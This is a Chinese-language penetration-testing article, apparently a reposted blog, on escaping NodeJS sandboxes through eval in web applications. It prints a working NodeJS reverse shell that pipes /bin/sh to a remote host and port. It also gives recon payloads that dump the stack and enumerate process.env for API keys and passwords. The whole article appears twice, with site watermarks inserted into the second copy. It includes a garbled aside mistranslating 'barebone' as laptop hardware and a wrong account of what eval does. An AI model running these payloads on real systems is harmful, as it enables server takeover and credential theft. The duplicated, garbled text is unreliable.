NodeJS沙盒逃逸研究
在这篇文章中,我们将探讨如何使用解释器的内部结构来逃离NodeJS沙箱。
Node.js是一个Javascript运行环境(runtime environment),发布于2009年5月,由Ryan Dahl开发,实质是对Chrome V8引擎进行了封装。Node.js不是一个JavaScript框架,不同于CakePHP、Django、Rails。Node.js更不是浏览器端的库,不能与jQuery、ExtJS相提并论。Node.js是一个让JavaScript运行在服务端的开发平台,它让JavaScript成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。Node.js对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好。V8引擎执行Javascript的速度非常快,性能非常好。开发人员使用Node.js后,可以让应用程序的前端和后端同时使用相同的编程语言。如今,NodeJS的下载量已经超过2.5亿次,并且这个量还在继续增长。这种受欢迎程度和广泛使用度,使得人们可以在web应用程序的测试中,发现许多有趣的功能。
在NodeJS出现之前,开发人员在开发一个应用程序时,是需要使用不同的服务器端语言的,比如PHP或Perl,这些语言本身就存在安全问题。不过,尽管NodeJS和JavaScript提供了改进措施,但由于eval()函数的关系,它们在命令注入方面并没有什么不同。
eval()是程序语言中的函数,功能是获取返回值,不同语言大同小异,函数原型是返回值 = eval( codeString ),如果eval函数在执行时遇到错误,则抛出异常给调用者。
eval函数允许应用程序在操作系统级别执行命令,当操作系统和应用程序之间的功能无法对接,或应用程序很容易将其所应发挥的功能推卸给底层系统时,开发人员将求助于eval。最终,使用eval函数的功能可以实现沙盒在不同级别的运行,以防止像攻击者运行底层服务器。
现在,让我们深入研究一下NodeJS,看看如何在一个允许执行任意JavaScript的应用程序中逃离NodeJS沙箱。
反向shell
我们首先花了大量的时间做了渗透性测试,然后再进行了反向shell。在此期间,我参考了大量Wiremask的文章,构建了一个可以在NodeJS中使用的BAREBONE反向shell。
BAREBONE,也叫笔记本准系统。准系统的英文名称是Barebone或Bare System,现在指某些厂家生产的没有CPU、硬盘,光驱等等的以便于用户自己DIY的一种集笔记本shell、显示屏、主板、电池于一体的产品。
(function(){var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);var client = new net.Socket();
client.connect(8080, "192.168.1.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});return /a/; // Prevents the Node.js application form crashing})();
如果你所测试的设备的沙盒很弱或者根本不存在,那你是非常的幸运,此时你就会得到一个反向shell,继续下一步探索。然而,现实中这样的好运气却非常少。为此,我们将研究如何在沙盒环境很强的设备中,无需require就可以执行反向shell。这是一种常见的沙盒技术,是抵御攻击的第一步防御措施。如果无法导入NodeJS标准库,则无法轻松执行诸如向操作系统读取/写入文件或建立网络连接等操作。现在,真正的挑战开始了。
目标侦察
任何渗透测试方法的第一步都是目标侦察,我们认为通过识别任意命令执行可以到达这个目的。但由于沙箱的存在,我们必须从头开始侦察。其中,最重要的就是要确定执行任意命令时的有效载荷具有哪些访问权限,最直接的方法是触发堆栈跟踪并查看输出内容。所谓的堆栈跟踪,就是通过问题中给出的示例,我们可以准确的确定应用程序中触发异常的位置。不幸的是,并不是所有的web应用程序都会简单的将堆栈跟踪或标准错误返回给侦查人员。幸运的是,我们可以使用有效载荷生成堆栈跟踪并将其进行标准输出,具体的方法,大家可以查看StackOverflow网站,我们可以看到代码实际上非常简单,特别是带有新语言特性的代码。如果没有直接的控制台访问,我们必须使用print语句或返回实际的跟踪,以下代码将执行以下操作。
function stackTrace() {var err = new Error();
print(err.stack);
}
运行这个有效载荷后,我们将得到一个堆栈跟踪:
Error
at stackTrace (lodash.templateSources[3354]:49:19)
at eval (lodash.templateSources[3354]:52:11)
at Object.eval (lodash.templateSources[3354]:65:3)
at evalmachine.:38:49
at Array.map ()
at resolveLodashTemplates (evalmachine.:25:25)
at evalmachine.:59:3
at ContextifyScript.Script.runInContext (vm.js:59:29)
at Object.runInContext (vm.js:120:6)
at /var/www/ClientServer/services/Router/sandbox.js:95:29
...
现在我们就进入了sandbox.js中,使用eval在lodash模板中运行。现在,我们就可以尝试找出当前的代码上下文。
我们会尝试将这些内容导出来,但这个过程并不简单,必须要使用JSON.stringify()。
> print(JSON.stringify(this))
不幸的是,其中还存在一些循环引用,这意味着我们需要一个脚本来识别这些引用并阻断它们。我们的方法就是将JSON.prune嵌入到有效载荷中。
> print(JSON.prune(this))
原始的JSON.prune不支持枚举可用的函数,不过我们可以修改case "function"结果来得到函数的名称,从而更好的映射可用函数,运行此有效载荷将枚举大量的可用的函数,其中包含一些有趣的项目。首先, this.process.env会包含当前进程的环境变量,可能包含API密钥或密码。其次,this.process.mainModule包含当前运行模块的配置,另外你还可以找到其他需要进一步研究的特定于应用程序的项目,例如配置文件位置。最后,我们会看到this.process.moduleLoadList,它是由主进程加载的所有NodeJS模块的列表。
在这篇文章中,我们将探讨如何使用解释器的内部结构来逃离NodeJS沙箱。
Node.js是一个Javascript运行环境(runtime environment),发布于2009年5月,由Ryan Dahl开发,实质是对Chrome V8引擎进行了封装。Node.js不是一个JavaScript框架,不同于CakePHP、Django、Rails。Node.js更不是浏览器端的库,不能与jQuery、ExtJS相提并论。Node.js是一个让JavaScript运行在服务端的开发平台,它让JavaScript成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。Node.js对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好。V8引擎执行Javascript的速度非常快,性能非常好。开发人员使用Node.js后,可以让应用程序的前端和后端同时使用相同的编程语言。如今,NodeJS的下载量已经超过2.5亿次,并且这个量还在继续增长。这种受欢迎程度和广泛使用度,使得人们可以在web应用程序的测试中,发现许多有趣的功能。
在NodeJS出现之前,开发人员在开发一个应用程序时,是需要使用不同的服务器端语言的,比如PHP或Perl,这些语言本身就存在安全问题。不过,尽管NodeJS和JavaScript提供了改进措施,但由于eval()函数的关系,它们在命令注入方面并没有什么不同。
eval()是程序语言中的函数,功能是获取返回值,不同语言大同小异,函数原型是返回值 = eval( codeString ),如果eval函数在执行时遇到错误,则抛出异常给调用者。
eval函数允许应用程序在操作系统级别执行命令,当操作系统和应用程序之间的功能无法对接,或应用程序很容易将其所应发挥的功能推卸给底层系统时,开发人员将求助于eval。最终,使用eval函数的功能可以实现沙盒在不同级别的运行,以防止像攻击者运行底层服务器。
现在,让我们深入研究一下NodeJS,看看如何在一个允许执行任意JavaScript的应用程序中逃离NodeJS沙箱。
反向shell
我们首先花了大量的时间做了渗透性测试,然后再进行了反向shell。在此期间,我参考了大量Wiremask的文章,构建了一个可以在NodeJS中使用的BAREBONE反向shell。
BAREBONE,也叫笔记本准系统。准系统的英文名称是Barebone或Bare System,现在指某些厂家生产的没有CPU、硬盘,光驱等等的以便于用户自己DIY的一种集笔记本shell、显示屏、主板、电池于一体的产品。 内容来自无奈安全网
(function(){var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);var client = new net.Socket();
client.connect(8080, "192.168.1.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});return /a/; // Prevents the Node.js application form crashing})();
如果你所测试的设备的沙盒很弱或者根本不存在,那你是非常的幸运,此时你就会得到一个反向shell,继续下一步探索。然而,现实中这样的好运气却非常少。为此,我们将研究如何在沙盒环境很强的设备中,无需require就可以执行反向shell。这是一种常见的沙盒技术,是抵御攻击的第一步防御措施。如果无法导入NodeJS标准库,则无法轻松执行诸如向操作系统读取/写入文件或建立网络连接等操作。现在,真正的挑战开始了。
目标侦察
任何渗透测试方法的第一步都是目标侦察,我们认为通过识别任意命令执行可以到达这个目的。但由于沙箱的存在,我们必须从头开始侦察。其中,最重要的就是要确定执行任意命令时的有效载荷具有哪些访问权限,最直接的方法是触发堆栈跟踪并查看输出内容。所谓的堆栈跟踪,就是通过问题中给出的示例,我们可以准确的确定应用程序中触发异常的位置。不幸的是,并不是所有的web应用程序都会简单的将堆栈跟踪或标准错误返回给侦查人员。幸运的是,我们可以使用有效载荷生成堆栈跟踪并将其进行标准输出,具体的方法,大家可以查看StackOverflow网站,我们可以看到代码实际上非常简单,特别是带有新语言特性的代码。如果没有直接的控制台访问,我们必须使用print语句或返回实际的跟踪,以下代码将执行以下操作。 本文来自无奈人生安全网
function stackTrace() {var err = new Error();
print(err.stack);
}
运行这个有效载荷后,我们将得到一个堆栈跟踪:
Error
at stackTrace (lodash.templateSources[3354]:49:19)
at eval (lodash.templateSources[3354]:52:11)
at Object.eval (lodash.templateSources[3354]:65:3)
at evalmachine.:38:49
at Array.map ()
at resolveLodashTemplates (evalmachine.:25:25)
at evalmachine.:59:3
at ContextifyScript.Script.runInContext (vm.js:59:29)
at Object.runInContext (vm.js:120:6)
at /var/www/ClientServer/services/Router/sandbox.js:95:29
...
现在我们就进入了sandbox.js中,使用eval在lodash模板中运行。现在,我们就可以尝试找出当前的代码上下文。
我们会尝试将这些内容导出来,但这个过程并不简单,必须要使用JSON.stringify()。
> print(JSON.stringify(this))
不幸的是,其中还存在一些循环引用,这意味着我们需要一个脚本来识别这些引用并阻断它们。我们的方法就是将JSON.prune嵌入到有效载荷中。
> print(JSON.prune(this))
原始的JSON.prune不支持枚举可用的函数,不过我们可以修改case "function"结果来得到函数的名称,从而更好的映射可用函数,运行此有效载荷将枚举大量的可用的函数,其中包含一些有趣的项目。首先, this.process.env会包含当前进程的环境变量,可能包含API密钥或密码。其次,this.process.mainModule包含当前运行模块的配置,另外你还可以找到其他需要进一步研究的特定于应用程序的项目,例如配置文件位置。最后,我们会看到this.process.moduleLoadList,它是由主进程加载的所有NodeJS模块的列表。
本文来自无奈人生安全网
www.wnhack.com